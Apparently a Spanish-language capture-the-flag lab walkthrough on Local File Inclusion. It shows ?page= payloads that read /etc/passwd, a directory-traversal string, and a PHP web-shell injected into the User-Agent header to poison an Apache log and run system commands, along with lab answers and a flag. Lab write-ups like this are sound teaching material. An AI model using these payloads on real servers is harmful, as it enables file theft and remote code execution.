Qué es el LFI

La inclusión de archivos locales, Local File Inclusion o, abreviado, LFI es una vulnerabilidad que un atacante puede usar para leer o incluir archivos a los que no debería poder acceder.

Por qué ocurre el LFI

Un LFI sucede porque una aplicación usa la ruta hacia un archivo como *input*. Si la aplicación trata a esta introducción de datos como a algo de confianza, puede dejar pasar ciertas peticiones que incluyan archivos locales.

Posible impacto

Aunque a priori no parezca grave, una inclusión de archivos locales puede dar lugar a:

  • Ataques de denegación de servicio.
  • Ejecución remota de código.
  • Revelación de información sensible.

Conectamos a la máquina virtual y nos vamos a la sección de Walkthrough 1.

En la dirección, añadimos este parámetro al final del enlace de la barra del navegador: ?page= e incluimos la dirección home.html para incluir a la página principal.

¿Qué mensaje recibimos al incluir esa página?

You included home.html

A partir de ahí, podemos leer otros archivos, por ejemplo, el /etc/passwd.

En la parte del parámetro podemos ponerlo y leerlo. Nos daría algo así en pantalla:

Leyendo el /etc/passwd mediante LFI

¿Qué usuario que no suele estar por defecto aparece ahí?

lfi

Con esto, habríamos explotado nuestra primera vulnerabilidad de inclusión de archivos locales. He aquí una pieza de código vulnerable, por si nos interesa saber cómo es:

$local_file = $_REQUEST["page"]

LFI incluyendo el recorrido por directorios (directory traversal)

El recorrido del directorio o de la ruta, llamado en inglés Directory traversal o Path traversal es un ataque HTTP que permite a los atacantes acceder a directorios restringidos y ejecutar comandos fuera de la carpeta raíz del servidor web o de otras rutas.

Con esto, accedemos al segundo tutorial de LFI de la máquina virtual.

Añadimos el parámetro ?page= y tratamos de incluir la página de inicio de nuevo, ¿funciona o no?

no

Supón que tienes otra página llamada “creditcard”, pero que está en otro directorio. Vamos a intentar encontrarla. Navegamos un directorio hacia arriba y tratamos de incluirla.

Para eso, usamos ../ a fin de movernos a ese directorio superior.

lfi.php?page=../creditcard

¿Cuáles son los números de la tarjeta de crédito?

1111-2222-3333-4444

De la misma manera, podremos visualizar el archivo passwd. Tendré que moverme más directorios hacia arriba, pero tratamos de leerlo.

?page=../../../../../etc/passwd

Igual me he pasado de vueltas subiendo directorios, pero funciona.

He aquí un trozo vulnerable de código por si queremos saber cómo es:

$local_file = "html/".$_REQUEST["page"]

Consiguiendo RCE mediante el uso de LFI y envenenado de registros

¿Qué es el envenenado de registros o log poisoning?

Es una técnica habitual que se usa para conseguir una shell inversa partiendo de una vulnerabilidad LFI. Para hacerla funcionar, un atacante intenta inyectar código malicioso en el registro del servidor.

Así es cómo luce un registro de Apache en el que tenemos la habilidad de usar envenenamiento de registro.

Envenenamiento de registros o log poisoning

Ahora, vamos a usarlo para acceder al sistema operativo subyacente.

Vamos a inyectar un código php malicioso en el registro del servidor, para que eso ocurra, ese directorio tiene que tener permisos de lectura y ejecución.

Accedemos al tercer tutorial de la máquina virtual con la que estamos trabajando y tratamos de leer el archivo de registro (log) de Apache.

Está localizado en /var/log/apache2/access.log (y en este caso, no hace falta directory traversal siquiera, ponerlo directamente tras ?page= ya funciona).

¿Podemos leer el registro?

yes

Ahora, vamos a envenenarlo.

Para eso necesitamos Burp Suite, de manera que interceptemos la petición que se le hace al servidor.

Ahora, vamos a insertar el siguiente código malicioso en el campo User-Agent. Se trata de un código PHP que nos va a permitir ejecutar comandos de sistema alimentándolos a un parámetro GET que llamaremos lfi (aunque también lo podemos llamar cualquier cosa, como cmd).

<?php system($_GET['lfi']); ?>

De manera que quedaría así.

Inyectando en el User-Agent

Enviamos la petición modificada y añadimos el parámetro al enlace de manera que sea:

http://IP:Objetivo/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=

Vamos a probar con lfi=uname -r y a ver qué sale, si no se ve bien, lo mejor es mirar la fuente de la página (Ctrl+u) para distinguir mejor.

4.15.0-72-generic

Con este conocimiento, tratemos de leer la bandera del directorio home del usuario lfi

&lfi=cat /home/lfi/flag.txt

THM{a352a5c2acfd22251c3a94105b718fea}

Esto es solo arañar la superficie del LFI, hay una colección enorme de información sobre LFI aquí.